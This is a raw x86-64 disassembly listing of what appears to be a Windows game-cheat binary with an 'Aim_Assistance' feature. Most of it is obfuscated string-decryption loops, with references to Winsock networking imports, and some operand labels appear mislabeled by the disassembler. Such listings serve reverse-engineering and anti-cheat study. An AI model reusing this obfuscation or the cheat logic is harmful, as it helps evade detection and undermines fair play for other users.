movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
inc r8
dec r10
inc r10
jmp 0x140078964
cmp rbx, rcx
jne 0x140078d3e
movzx r11d, r10b
lea edx, [r11 + 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x63
jmp 0x1400792ac
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400790a4
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400790cc
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140079306
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400790f5
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x1400792ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140078cf9
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
dec r10
inc r10
jmp 0x140078964
mov byte [rbp + r10 + 0x460], dil
inc r10
jmp 0x140078964
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x460]
sub dil, al
sub dil, 0x28
add dil, r9b
jmp 0x1400792ac
movzx r11d, r10b
lea ecx, [r11 - 0x6a]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x1a]
jmp 0x140079191
movzx r11d, r10b
lea edx, [r11 + 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x75
add dil, dl
add r11b, 0x15
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x6d
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x460], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140079306
lea ecx, [r10 + 0x5f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x67
jmp 0x1400792d4
movzx r11d, r10b
lea edx, [r11 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
jmp 0x1400792ac
lea ecx, [r10 + 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2f
inc r8
dec r10
inc r10
jmp 0x140078964
movzx r11d, r10b
lea edx, [r11 + 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x21
add dil, dl
add r11b, 0x19
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x51
add r9b, r11b
mov byte [rbp + r10 + 0x460], r9b
inc r8
dec r10
inc r10
jmp 0x140078964
lea ecx, [r10 + 0x71]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x17
dec r10
inc r10
jmp 0x140078964
movzx r11d, r10b
lea edx, [r11 + 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x25
add dil, dl
add r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x5f
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x460], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140078964
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
lea ecx, [r10 - 0x6c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0xc
add r9b, cl
mov byte [rbp + r10 + 0x460], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x6b
movzx eax, byte [rbp + r10 + 0x460]
add rax, r8
add r10, rax
inc r10
jmp 0x140078964
sub r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x23
jmp 0x140078961
sub r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x15
jmp 0x140078951
lea rdx, [rbp + 0x17349b4]
jmp 0x1400793c9
lea rdx, [rbp + 0xcf7e33]
jmp 0x1400793c9
lea rdx, [rbp + 0x460]
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400793e5
lea rcx, [rbp + 0x240]
call fcn.140040cc0
nop
mov r8d, recv
lea rdx, str.Oct_18_2024
lea rcx, [rbp + 0x240]
call fcn.140052db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x690], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x680], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x690], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x240]
call fcn.1400435c0
lea rcx, [rbp + 0x650]
call fcn.14000ef80
lea rdx, [rbp + 0x680]
cmp qword [rbp + 0x698], 0xf
cmova rdx, qword [rbp + 0x680]
movss xmm0, dword [0x140145414]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x648]
call fcn.14000a970
movss xmm0, dword [rbp + 0x650]
subss xmm0, dword [rbp + 0x648]
mulss xmm0, xmm6
call fcn.14001a200
lea rcx, [rbp + 0x680]
cmp qword [rbp + 0x698], 0xf
cmova rcx, qword [rbp + 0x680]
call fcn.14003f720
call fcn.140015fb0
call fcn.140009f90
lea r13, str._.3f
cmp dword [0x1401de2cc], 0
jne 0x14008393a
mov dword [rbp + 0xc], 0x42aa0000
mov dword [rbp + 0x10], 0x428c0000
lea rcx, [rbp + 0xc]
call fcn.14001a180
mov dword [rbp + 0x14], 0x438d0000
mov dword [rbp + 0x18], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x14]
lea rcx, str.Aim_Assistance
call fcn.1400097c0
mov byte [rbp + 0x280], WSAGetLastError
mov byte [rbp + 0x281], 0x5f
mov byte [rbp + 0x282], 0x43
mov byte [rbp + 0x283], 0x45
mov byte [rbp + 0x284], 0x5c
mov byte [rbp + 0x285], 0x44
mov byte [rbp + 0x286], 6
mov byte [rbp + 0x287], 0x66
mov byte [rbp + 0x288], 0x5d
mov byte [rbp + 0x289], 0x58
mov byte [rbp + 0x28a], 0x3a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28b], xmm0
mov dword [rbp + 0x29b], eax
movabs rsi, 0x47441080d35ad126
movabs r15, 0xf2dc7385c77bb80a
movabs r14, 0xd5cc31827a107372
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1f
jae 0x14007a0a2
movzx r9d, byte [rbp + r10 + 0x280]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007a099
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007960c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xa
jmp 0x140079646
je 0x14007a02b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079fa7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079f75
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079f50
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079f28
cmp r8, r10
ja 0x14007a090
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140079677
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400796d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079edd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079ebc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079ea1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079e86
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079e6b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079e3a
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140079b33
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079b14
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140079af0
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140079acf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079aac
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079a8d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140079a6e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140079a4f
mov rbx, rax
lea r8, [rax + 0x1000]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007a073
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007a056
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007986e
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140079853
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140079838
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400799ff
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007998a
mov rbx, rax
lea r8, [rax + 0x1000]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140079959
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007993e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140079923
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140079908
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400798ed
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400798ce
lea rcx, [r8 + 0x400]
cmp rbx, rcx
ja 0x1400798ad
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140079889
mov rbx, rcx
lea r8, [rcx + 0x1000]
jmp 0x1400796e0
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x1400796d0
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140079646
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x1400795d6
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
inc r8
dec r10
inc r10
jmp 0x1400795c3
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
dec r10
inc r10
jmp 0x1400795c3
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
movzx r11d, r10b
jmp 0x140079dee
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140079f8b
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140079f8e
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140079fc0
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x140079fe8
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 4
jae 0x140079dc8
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140079cf6
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
cmp r8, 4
jb 0x140079db8
movzx r11d, r10b
lea ecx, [r11 + 0x24]
movzx eax, cl
and al, r9b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140079efb
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 4
je 0x140079e17
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140079c37
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x1400799a4
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079fc0
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079f8e
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079f8b
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079dee
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x1400795c3
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x1400795c3
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx r11d, r10b
jmp 0x140079efb
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140079b57
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x140079a19
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079b91
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079bb9
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079fc0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079be1
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079f8b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140079c09
movzx r11d, r10b
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140079dee
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140079a19
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
dec r10
inc r10
jmp 0x1400795c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079c5f
movzx r11d, r10b
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140079efb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079c76
lea edx, [r10 - 0xe]
mov ecx, 0x31
jmp 0x140079f59
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079ca2
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079dee
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140079cca
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079f8e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400799a4
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079fc0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079d2c
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079d50
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140079fc0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079d78
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079f8e
cmp rbx, rcx
jne 0x140079d9d
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140079dee
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400799d1
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x140079f59
mov byte [rbp + r10 + 0x280], dil
inc r10
jmp 0x1400795c3
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x280]
sub dil, al
sub dil, 0x10
add dil, r9b
add dil, dl
sub r11b, 0x6a
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1a
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x280], cl
jmp 0x140079f8b
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x280]
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140079fc0
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x140079fc0
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x140079f8e
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140079f8b
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
dec r10
inc r10
jmp 0x1400795c3
movzx r11d, r10b
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x4a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 6
add r11b, r9b
mov byte [rbp + r10 + 0x280], r11b
inc r8
dec r10
inc r10
jmp 0x1400795c3
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400795c3
lea edx, [r10 + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400795c3
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400795c3
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x2e
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x280], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x38
add cl, r9b
mov byte [rbp + r10 + 0x280], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x1e
movzx eax, byte [rbp + r10 + 0x280]
add rax, r8
add r10, rax
inc r10
jmp 0x1400795c3
sub r10b, 0x42
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x32
jmp 0x1400795c0
add r10b, 0x72
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1e
jmp 0x1400795b0
lea rcx, [rbp + 0x1448808]
jmp 0x14007a0a9
lea rcx, [rbp + 0x9f592e]
jmp 0x14007a0a9
lea rcx, [rbp + 0x280]
lea rdx, [0x1401dc6b1]
call fcn.1400393c0
mov byte [rbp + 0x2a0], 0xad
mov byte [rbp + 0x2a1], 0x87
mov byte [rbp + 0x2a2], 0xb3
mov byte [rbp + 0x2a3], 0xad
mov byte [rbp + 0x2a4], __WSAFDIsSet
mov byte [rbp + 0x2a5], __WSAFDIsSet
mov byte [rbp + 0x2a6], 0x68
mov byte [rbp + 0x2a7], 0xbb
mov byte [rbp + 0x2a8], 0x98
mov byte [rbp + 0x2a9], __WSAFDIsSet
mov byte [rbp + 0x2aa], __WSAFDIsSet
mov byte [rbp + 0x2ab], 0x9a
mov byte [rbp + 0x2ac], 0x99
mov byte [rbp + 0x2ad], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2ae], 0
xor eax, eax
mov qword [rbp + 0x2af], rax
mov word [rbp + 0x2b7], ax
mov byte [rbp + 0x2b9], al
movabs rsi, 0x38cc696235f89f2d
movabs r14, 0xff2fb473e5bd9895
movabs r15, 0xaa653c26a1e9dd87
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x1a
jae 0x14007ac7b
movzx r9d, byte [rbp + r10 + 0x2a0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007ac72
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007a1bc
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x3b
jmp 0x14007a1f6
je 0x14007ac04
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007abd7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ab91
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ab6f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007ab24
cmp r8, r10
ja 0x14007ac69
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14007a220
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
jmp 0x14007a260
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ab07
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007aae7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007aac8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007aaac
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007a7b3
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007a793
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007a76b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007a749
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007a729
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a70a
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007a6eb
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007a6c8
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007a6a9
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007a270
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007ac4c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007ac2f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007a447
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007a428
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007a409
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007a656
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007a609
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007a5c4
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007a59d
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x41]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007a56f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007a550
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007a52d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007a511
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007a4ef
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007a4cf
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007a4aa
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007a485
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007a465
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007a270
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x7a]
jmp 0x14007a270
lea edx, [r10 + 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 9
add dil, dl
jmp 0x14007a260
lea edx, [r10 + 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x14007a1f6
lea edx, [r10 - 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x1d
add dil, dl
jmp 0x14007a186
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14007ab3f
lea ecx, [r10 + 0x2e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x42
inc r8
dec r10
inc r10
jmp 0x14007a173
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007a173
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
movzx r11d, r10b
jmp 0x14007abab
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
